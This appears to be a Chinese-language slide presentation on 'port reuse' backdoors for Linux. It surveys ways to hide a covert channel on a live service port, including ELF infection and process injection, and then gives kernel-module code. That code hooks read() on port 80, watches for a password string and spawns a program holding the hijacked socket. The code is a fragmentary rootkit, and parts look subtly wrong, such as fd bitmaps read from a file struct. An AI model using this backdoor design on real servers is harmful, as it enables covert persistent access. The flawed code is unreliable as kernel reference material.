对linux系统下端口复用技术的一些理解和认识

noble_shi@21cn.com

1. 涉及到的内容

- 本文涉及到的内容有：内存管理、系统调用、进程调度、文件系统、socket内核结构、协议栈的内核实现、ELF文件结构、ELF文件装载过程。

2.设计方案

- 1） 过滤驱动
  - 对linux系统的网卡驱动进行过滤，这种技术设计到可安装内核模块技术、网卡驱动原理和中断技术等，实现起来较为复杂，而且对内核版本要求较高，如果长期运行，还可能造成系统内核的不稳定。
  - 同时还设计到拆包、组包过程，如果要对大文件进行传输或要保证客户－服务器双方的可靠通信，要付出很大代价。

2.设计方案

- 2） 过滤协议栈
  - 可以对TCP/IP协议栈进行过滤，而且linux系统也提供内核钩子，支持对内核的过滤。这样实现难度较小，造成系统不稳定的可能性比方案1要小的多。

2.设计方案

- 3） 过滤系统调用
  - 这种方法是典型的LKMs后门程序的实现原理，对用于网络通信的系统调用进行过滤。
  - 这种方法不用深入协议栈，实现起来简洁有效，后面有详细介绍。

2.设计方案

- **4） 修改sock结构**
  - 先在用户空间任意创建一个处于连接状态的socket对，然后修改内核的sock结构，如：socksock.daddr，sock.dport，sock.sport等。这样，就相当于和远端主机建立了一个正常的TCP或UDP连接。
  - 这种方法不用我们自己构造sock结构，只需修改已有的sock结构，减少了工作量。

2.设计方案

- **5） UNIX编程中的其他技术**
  - 在用户空间调用访问协议栈的函数，如BPF、SOCK_PACKET类型的套节口、libcap抓包库、DLPI等，这样在应用层就可以实现对协议栈的过滤。这样技术不用深入内核，稳定性好。

2.设计方案

- **6）感染ELF静态文件**
  - 这种技术是的基本原理是在原来的ELF文件中插入自己的二进制代码，当检测到特征字符串以后，就复制套接口结构，并关闭原有的套接口，从而达到端口复用的目的。
  - 这是在应用层进行实现的，相对来说比较稳定。缺点是采用了病毒技术，利用linux自带的一些工具（如objdump）可以发现

2.设计方案

- 7） 运行期间感染技术
  - 这种方法需要深入到已经运行服务程序的进程空间内部，如采用运行期间共享库注射技术，通过共享其file结构，增加引用记数，来共享其dentry,inode,sock,socket等结构。
  - 这种方法是在应用层设计的，对内核版本要求不高，不过如果对80等非超级用户运行的进程所开的端口进行复用时，所获得的权限也是普通用户权限，不能满足普遍需求。同时也很难实现对任意端口进行复用。

3. 通过过滤系统调用实现端口复用

—基础知识介绍

1.基础知识介绍

(1)首先对kernle_thread()进行分析。

```
int kernel_thread (int (*fn)(void *), void * arg, unsigned long flags)
    {
        long retval, d0;

        __asm__ __volatile__(
        "movl %%esp,%%esi\n\t"
        "int $0x80\n\t"
        "cmpl %%esp,%%esi\n\t"
        "je 1f\n\t"
        "movl %4,%%eax\n\t"
```

3. 通过过滤系统调用实现端口复用

—基础知识介绍

```
        "pushl %%eax\n\t"
        "call *%5\n\t"
        "movl %3,%0\n\t"
        "int $0x80\n"
        "1:\t"
        :"=&a" (retval), "=&S" (d0)
        :"0" (__NR_clone), "i" (__NR_exit),
         "r" (arg), "r" (fn),
         "b" (flags | CLONE_VM)
        : "memory");
    return retval;
}
```

3. 通过过滤系统调用实现端口复用

—基础知识介绍

(2)对execve()系统调用进行分析。

- 由于其源码较长，这里只描述其执行过程，如下：
  - 拷贝用户空间的数据到内核,相应的函数是getname()。
  - 调用函数do_execve()，这是系统调用execve()的主体函数。

3. 通过过滤系统调用实现端口复用

—基础知识介绍

- 下面对函数do_execve()进行分析：
  - a）调用open_exec()返回一个file结构。
  - b）内核为可执行程序的装入定义一个数据结构 struct linux_binprm。
  - c）将文件的前128字节读到linux_binprm的buf中。
  - d）参数和环境变量从用户空间拷贝到linux_binprm结构中。
  - e）装载运行；过程是用formates队列中的每个成员尝试运行这个文件。

3. 通过过滤系统调用实现端口复用

—基础知识介绍

(3)对ELF文件的装载函数进行分析。

ELF文件在formates队列中相应的装载函数是：

load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs);

在该函数中，对从父进程保留过来的一些数据结构进行了处理，如：

mm_struct结构、files_struct结构、fs_struct结构、k_sigaction结构等，其中我们关心的是对files_struct结构的处理，相应的处理函数是：

static inline void flush_old_files(struct files_struct * files)

3. 通过过滤系统调用实现端口复用

—基础知识介绍

```
static inline void flush_old_files(struct files_struct * files)
{
        long j = -1;
        write_lock(&files->file_lock);
        for (;;) {
                unsigned long set, i;
                j++;
                i = j * __NFDBITS;
                if (i >= files->max_fds || i >= files->max_fdset)
                        break;
```

3. 通过过滤系统调用实现端口复用

—基础知识介绍

```
                set = files->close_on_exec->fds_bits[j];
                if (!set)
                        continue;
                files->close_on_exec->fds_bits[j] = 0;
                write_unlock(&files->file_lock);
                for ( ; set ; i++,set >>= 1) {
                        if (set & 1) {
                                sys_close(i);
                        }
                }
                write_lock(&files->file_lock);
        }
        write_unlock(&files->file_lock);
}
```

3. 通过过滤系统调用实现端口复用

—基础知识介绍

- 其参数files的类型files_struct定义在include/linux/sched.h中：

```
struct files_struct {
        atomic_t count;
        rwlock_t file_lock;
        int max_fds;
        int max_fdset;
        int next_fd;
        struct file ** fd;
        fd_set *close_on_exec;
        fd_set *open_fds;
        fd_set close_on_exec_init;
        fd_set open_fds_init;
        struct file * fd_array[NR_OPEN_DEFAULT];
};
```

3. 通过过滤系统调用实现端口复用

—基础知识介绍

- 结构fd_set定义在include/linux/type.h中：
- typedef __kernel_fd_set fd_set;
- 结构kernel_fd_set定义在include/linux/posix_types.h中：
- #undef __NFDBITS
- #define __NFDBITS (8 * sizeof(unsigned long))
-
- #undef __FD_SETSIZE
- #define __FD_SETSIZE 1024

- #undef __FDSET_LONGS
- #define __FDSET_LONGS (__FD_SETSIZE/__NFDBITS)

- typedef struct {
- unsigned long fds_bits [__FDSET_LONGS];
- } __kernel_fd_set;

3. 通过过滤系统调用实现端口复用

—程序实现

2.程序实现：

我们以对端口80的TCP连接进行复用为例，对程序进行说明。

(1)深入内核，截获系统调用read(int fd, void *buf, size_t count)。

(2)如果发现特征字符串（如”abcdefg”）就在内核启动我们的函数。

3. 通过过滤系统调用实现端口复用

—程序实现

```
……
ret =  old_read(fd, buf, count);
bzero(kbuf, MAX_BUF);
__generic_copy_from_user(kbuf, buf, ret);
if( memcmp(kbuf, passwd, strlen(passwd)) == 0 )
{
        file = fget(fd);
        if(file->f_dentry->inode->sk.sport == PORT)
kernel_thread(exe_func, fd, flags);
                                        fput(file);
}
……
```

3. 通过过滤系统调用实现端口复用

—程序实现

- 如前所述，kernel_thread()实际是调用clone，这样，如果调用参数flags为0，则表示要复制（而不是指针共享）其内核结构，这些内核结构包括：mm_struct结构、files_struct结构、fs_struct结构、k_sigaction结构。当然我们最关心的是files_struct结构，其相应的标志位是CLONE_FILES。
- 由于我们在要改变fs_struct结构中的两个位图：close_on_exec和open_fds，为了不影响父进程的正常运行，需要把该位设置为0。

3. 通过过滤系统调用实现端口复用

—程序实现

(3)我们的内核函数exe_func（）如下：

```
#define MAX_ARG                 32
static int exe_func(int fd)
{
        char arg[MAX_ARG];
        bzero(arg, MAX_ARG);
        my_itoa(fd, arg);
        clr_fd( fd );
        set_fs(KERNEL_DS);
        ret = execve(my_program, arg, 0);
        if(ret < 0)
                return -1;
        return 0;
}
```

3. 通过过滤系统调用实现端口复用

—程序实现

(4)函数clr_fd()的功能是对位图close_on_exec的相应位进行清0。其代码如下：

```
#define FD_SET(fd,fdsetp) \
    __asm__ __volatile__("btsl %1,%0": \
                         "=m" (*(__kernel_fd_set *) (fdsetp)):"r" ((int) (fd)))

#define FD_CLR(fd,fdsetp) \
    __asm__ __volatile__("btrl %1,%0": \
                         "=m" (*(__kernel_fd_set *) (fdsetp)):"r" ((int) (fd)))
```

- 注：汇编语句btrl的作用是对操作数的一个位进行清除。btsl的作用是对操作数的一位置1。

3. 通过过滤系统调用实现端口复用

—程序实现

```
void clr_fd(fd)
{
        struct file *file;
        file = fget(fd);
        FD_SET(fd, file->open_fds);
        FD_CLR(fd, file->close_on_exec);
        fput(file);
        return;
}
```

3. 通过过滤系统调用实现端口复用

—程序实现

(5)我们的用户空间程序如下：

```
/* my_program */
#include <stdio.h>
……
int main(int argc, char *argv[])
{
        int fd = atoi(argv[1]);
        ……
}
```

谢　　谢